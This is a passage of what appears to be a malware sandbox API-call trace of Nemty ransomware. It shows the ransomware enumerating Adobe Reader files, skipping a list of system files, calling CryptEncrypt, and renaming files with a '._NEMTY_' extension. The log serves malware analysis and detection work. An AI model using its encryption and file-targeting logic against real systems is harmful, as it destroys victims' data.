lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0202.880] CloseHandle (hObject=0xffffffff) returned 0 [0202.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0202.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0202.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0202.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0202.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0202.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0202.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942a8 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.881] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-h._nemty_kgobjgd_")) returned 0 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0202.881] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2", cAlternateFileName="B5PC-U~1")) returned 1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2=".") returned 1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="..") returned 1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="...") returned 1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="windows") returned -1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="rsa") returned -1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="NTDETECT.COM") returned -1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="ntldr") returned -1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="MSDOS.SYS") returned -1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="IO.SYS") returned -1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="boot.ini") returned -1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="boot.ini") returned -1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="AUTOEXEC.BAT") returned 1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="ntuser.dat") returned -1 [0202.881] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="desktop.ini") returned -1 [0202.882] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="CONFIG.SYS") returned -1 [0202.882] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="RECYCLER") returned -1 [0202.882] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="BOOTSECT.BAK") returned -1 [0202.882] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="bootmgr") returned -1 [0202.882] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="programdata") returned -1 [0202.882] lstrcmpiW (lpString1="B5pc-UCS2", lpString2="appdata") returned 1 [0202.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0202.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-UCS2", lpUsedDefaultChar=0x0) returned 9 [0202.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0202.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-UCS2", lpUsedDefaultChar=0x0) returned 9 [0202.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0202.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-UCS2", lpUsedDefaultChar=0x0) returned 9 [0202.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0202.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-UCS2", lpUsedDefaultChar=0x0) returned 9 [0202.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0202.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0202.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0202.882] Sleep (dwMilliseconds=0x5) [0202.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c945ff0, dwHighDateTime=0x1d561e8)) [0202.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c945ff0, dwHighDateTime=0x1d561e8)) [0202.892] GetLastError () returned 0x5 [0202.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0202.892] GetLastError () returned 0x5 [0202.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0202.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0202.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0202.892] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0202.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0202.892] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="QUCBAAHuuwVQcy3elzmYsgGFAaaAhZb95eoPU5CUpTeomomWHPjXUuQUKg5p5Hl4\r\njE0X/1hRAIFm/if4D65MMsNzoyL3/o4bBUtm44yDSgyE5YIbCoctbgotA4JMWm3N\r\ng9B02MXcNhtDAFlhu/TwaMYkHzsYjdfEsEAIVj2HjqySL4XP8qo/fw9R/Zfo3dnl\r\nyKk/VgIuOr+8XFbJoqtMFll/rU3JnatUOvpruXEVplKDC1tWncsPjqrAg+cMZJve\r\nsbVaNHwJwMoYtiuoWBAsomrpTVSCPsYFc8na3nwCHJmgwgD4O+dyr13lR1UEoiJy\r\nz07dJqiChIx2ehxRF29dig==\r\n", pcchString=0x653e91c) returned 1 [0202.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0202.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0202.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0202.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0202.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0202.893] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0202.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0202.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, 